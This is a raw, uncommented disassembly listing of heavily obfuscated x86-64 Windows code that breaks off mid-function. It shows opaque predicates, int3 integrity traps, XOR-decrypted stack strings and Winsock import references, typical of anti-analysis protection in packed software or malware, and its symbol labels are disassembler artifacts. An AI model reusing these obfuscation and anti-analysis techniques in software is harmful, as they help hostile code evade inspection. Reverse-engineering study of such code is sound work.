mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x1400296fb
inc edi
cmp edi, 5
jl 0x140029670
mov esi, 0xa8e3e360
jmp 0x14002970c
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov r11d, 0xa8e3e350
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x140029839
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x140029730
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a362
inc edi
cmp edi, 7
jl 0x1400297d2
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x15]
mov r10d, 0xa8e3e350
mov r11d, 1
cmp rax, r10
jne 0x1400299c4
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r14d, 0xa8e3e350
mov r9d, r14d
mov ebx, 0xdeedfeff
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xdb4576f5
mov rdx, r12
mov ecx, r8d
sar rdx, cl
mov rax, r14
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r11d
add r9, r11
cmp r8d, 8
jl 0x140029884
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
mov r10, r14
add rcx, r14
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a36d
add edi, r11d
cmp edi, 5
jl 0x14002995c
mov rax, qword gs:[0x15]
cmp rax, r10
jne 0x140029b25
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9, rsi
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r15, 0x38728acc6e2e5700
sub r8d, r11d
sub r9, r11
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140029a36
sub ecx, r11d
or ecx, 0xfffffffc
add ecx, r11d
mov rax, r15
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400299f6
mov rax, rdi
xor rax, rdi
mov r10d, 0xa8e3e350
xor rax, r10
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movabs r15, 0x918f81da4
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a378
add edi, r11d
mov eax, 0xa
cmp edi, eax
jl 0x140029ab9
mov rax, qword gs:[0x15]
cmp rax, r10
jne 0x140029c5c
mov r8, rbx
mov rcx, r11
mov r9d, 5
mov r15d, 0x8aec58f0
mov rax, r15
cqo
idiv rcx
imul rdx, r10
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r11
sub r9, r11
jne 0x140029b49
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r15
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movabs r15, 0x918f81da4
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a383
add edi, r11d
cmp edi, 7
jl 0x140029bf4
mov rax, qword gs:[0x15]
cmp rax, r10
jne 0x140029dd7
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r14d, 0xa8e3e350
mov r9d, r14d
mov ebx, 0xdeedfeff
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xdb4576f5
mov rdx, r12
mov ecx, r8d
sar rdx, cl
mov rax, r14
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
add r8d, r11d
add r9, r11
cmp r8d, 8
jl 0x140029c95
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r14
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movabs r15, 0x918f81da4
movabs r12, 0x1231f03b48
movsxd rcx, edi
mov eax, 0xa8e3e350
add rcx, rax
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a38e
add edi, r11d
cmp edi, 5
jl 0x140029d6a
xor ecx, ecx
call fcn.1400adcd4
mov r11, rax
mov al, 0x79
xor ecx, ecx
mov byte [rbp - 0x5b], cl
xor al, 0xb
mov byte [rbp - 0x5c], al
mov byte [rbp - 0x5b], bl
mov byte [rbp - 0x28], 0xdb
mov byte [rbp - 0x27], 0x33
mov byte [rbp - 0x26], reloc.WS2_32.dll_listen
mov byte [rbp - 0x25], Ordinal_32
mov byte [rbp - 0x24], Ordinal_79
mov byte [rbp - 0x23], WSAGetLastError
xor eax, eax
mov byte [rbp - 0x22], al
mov r8, rbx
mov r9, r15
movabs rsi, 0x184295a45
lea r10d, [rcx + 6]
movabs r14, 0x8080808080808081
movabs r15, 0x184295a46
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 - 0x28], dil
inc r8
add r9, r15
add r10, 6
cmp r9, r12
jb 0x140029e35
mov byte [rbp - 0x22], bl
mov r9, r11
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0xbf8]
call fcn.1400b48d0
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
movabs r14, 0xa9d2177ea
mov r10d, 1
jne 0x140029fe7
mov r8, rbx
mov ecx, r10d
lea r9d, [r10 + 4]
mov r15d, 0x8aec58f0
mov rax, r15
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r10
sub r9, r10
jne 0x140029ee1
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r15
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a399
add edi, r10d
cmp edi, 7
jl 0x140029f78
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002a111
mov r8, rbx
mov rcx, r10
mov r9d, 5
mov r15d, 0x8aec58f0
mov rax, r15
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
add rcx, r10
sub r9, r10
jne 0x14002a00b
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
mov rax, r15
imul rcx, rax
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a3a4
add edi, r10d
cmp edi, 7
jl 0x14002a0a2
mov ecx, 2
call fcn.1400adcd4
mov r11, rax
mov al, 0x7c
xor ecx, ecx
mov byte [rbp - 0x57], cl
xor al, 0xb
mov byte [rbp - 0x58], al
mov byte [rbp - 0x57], bl
mov byte [rbp + 0x10], Ordinal_45
mov byte [rbp + 0x11], 0x60
mov byte [rbp + 0x12], 0xb9
mov byte [rbp + 0x13], 0xcd
mov byte [rbp + 0x14], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x15], 0xcc
mov byte [rbp + 0x16], reloc.WS2_32.dll_sendto
xor eax, eax
mov byte [rbp + 0x17], al
mov r8, rbx
mov r9, r14
movabs rsi, 0x8080808080808081
lea r10d, [rcx + 7]
movabs r15, 0x153a42efd4
movabs r14, 0x184295a46
movabs r12, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x10], dil
inc r8
add r9, r14
add r10, 7
cmp r9, r15
jb 0x14002a180
mov byte [rbp + 0x17], bl
mov r9, r11
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xbf8]
call fcn.1400b48d0
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
mov esi, 0xa8e3e360
movabs r14, 0xa9d2177ea
jne 0x14002a3ba
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
mov ebx, 0xdeedfeff
movabs r12, 0x2aaaaaaaaaaaaaab
mov r15d, 0xdb4576f5
mov rdx, r15
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x14002a23c
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r10, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd30]
xor rcx, rdx
mov rax, qword [rbp + 0xd28]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a3af
inc edi
cmp edi, 5
jl 0x14002a2fd
jmp 0x14002a3c4
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002a504
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9, rsi
movabs r11, 0x38728acc6e2e5700
dec r8d
dec r9
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002a42a
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002a3ec
mov rax, rdi
xor rax, rdi
mov r11d, 0xa8e3e350
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a748
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14002a499
mov ecx, 1
call fcn.1400adcd4
mov r10, rax
mov al, 0x7c
xor ecx, ecx
mov byte [rbp - 0x53], cl
xor al, 0xb
mov byte [rbp - 0x54], al
mov byte [rbp - 0x53], bl
mov byte [rbp + 8], Ordinal_45
mov byte [rbp + 9], 0x60
mov byte [rbp + 0xa], 0xb9
mov byte [rbp + 0xb], 0xcd
mov byte [rbp + 0xc], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xd], 0xcc
mov byte [rbp + 0xe], reloc.WS2_32.dll_sendto
xor eax, eax
mov byte [rbp + 0xf], al
mov r8, rbx
movabs rsi, 0x184295a46
lea r9d, [rcx + 7]
movabs r15, 0x153a42efd4
movabs r11, 0x8080808080808081
movabs r12, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r14
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r14
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 8], dil
inc r8
add r14, rsi
add r9, 7
cmp r14, r15
jb 0x14002a570
mov byte [rbp + 0xf], bl
mov r9, r10
lea r8, [rbp - 0x54]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xbf8]
call fcn.1400b48d0
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
mov esi, 0xa8e3e360
jne 0x14002a75e
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
mov ebx, 0xdeedfeff
movabs r12, 0x2aaaaaaaaaaaaaab
mov r15d, 0xdb4576f5
mov rdx, r15
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, rbx
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x14002a622
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd20], rax
add rcx, r11
mov r10, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
mov eax, 0xf94acd55
xor rcx, rax
mov qword [rbp + 0xd28], rcx
xor edi, edi
mov eax, 0xf2e73d58
xor rdi, rax
mov qword [rbp + 0xd30], rdi
xor ebx, ebx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
xor rdx, rax
mov rcx, qword [rbp + 0xd28]
xor rcx, rdx
mov rax, qword [rbp + 0xd20]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002a753
inc edi
cmp edi, 5
jl 0x14002a6e3
jmp 0x14002a768
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400ac908
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0x15]
mov r14d, reloc.WS2_32.dll_recv
cmp rax, r11
jne 0x14002a8ab
mov rdi, rbx
mov r8d, r14d
mov r9, rsi
movabs r11, 0x38728acc6e2e5700
dec r8d
dec r9
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14002a7d1
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14002a793
mov rax, rdi
xor rax, rdi
mov r11d, 0xa8e3e350
xor rax, r11
mov qword [rbp + 0xd20], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0x8aec58f0
or rax, rdx
xor rcx, rax
mov eax, 0xdb4576f5
xor rcx, rax
mov qword [rbp + 0xd28], rcx
mov rax, rdi
not rax
and eax, 0x20c18a0
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd30], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
or rdx, rax
mov rcx, qword [rbp + 0xd28]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002aeec
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14002a840
movdqa xmm0, xmmword [0x1400f5b50]
movdqu xmmword [rbp + 0xb18], xmm0
movdqa xmm1, xmmword [0x1400f5bd0]
movdqu xmmword [rbp + 0xb28], xmm1
movdqa xmm0, xmmword [0x1400f5b00]
movdqu xmmword [rbp + 0xb38], xmm0
mov byte [rbp + 0xb48], 0xe9
mov byte [rbp + 0xb49], Ordinal_79
mov byte [rbp + 0xb4a], 0xaa
mov byte [rbp + 0xb4b], Ordinal_50
mov byte [rbp + 0xb4c], 0xe7
mov byte [rbp + 0xb4d], __WSAFDIsSet
mov byte [rbp + 0xb4e], 0xf1
mov byte [rbp + 0xb4f], 0xfd
mov byte [rbp + 0xb50], 0x41
mov byte [rbp + 0xb51], reloc.WLDAP32.dll_Ordinal_200
mov eax, 3
mov byte [rbp + 0xb52], al
mov byte [rbp + 0xb53], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + listen54], 0xb
mov byte [rbp + 0xb55], 0x3f
xor eax, eax
mov byte [rbp + 0xb56], al
mov r8, rbx
lea r10d, [rax + 0x3e]
movabs r9, 0x5e0203dcf4
movabs r11, 0x8080808080808081
movabs r15, 0x184295a46
movabs r12, 0x184295a45
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb18], dil
inc r8
add r9, r15
add r10, 0x3e
movabs rax, 0xbc0407b9e8
cmp r9, rax
jb 0x14002a978
mov byte [rbp + 0xb56], bl
lea rcx, [rbp + 0xb18]
call fcn.1400064bc
mov rax, qword gs:[0x15]
mov r11d, 0xa8e3e350
cmp rax, r11
jne 0x14002ab1e
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0x8aec58f0
mov rax, r10
cqo
idiv rcx
imul rdx, r11
add r8, rdx
mov rdi, qword gs:[0x30]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14002aa1b
mov r9d, 0xdb4576f5
xor rdi, r9
mov rcx, rdi
imul rcx, r10
movabs rax, 0x9570bebce7c31e27
imul rcx
add rdx, rcx
sar rdx, 0x1f
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, r9
sub rcx, rdx
xor rdi, r8
mov qword [rbp + 0xd20], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd28], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd30], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd30]
and rdx, rax
mov rcx, qword [rbp + 0xd28]
and rcx, rdx
mov rax, qword [rbp + 0xd20]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14002aef7
inc edi
cmp edi, 7
jl 0x14002aab0
mov rax, qword gs:[0x15]
cmp rax, r11
jne 0x14002ac77
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, r11
mov ebx, 0xdeedfeff
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xdb4576f5
mov rdx, r12
mov ecx, r9d
sar rdx, cl
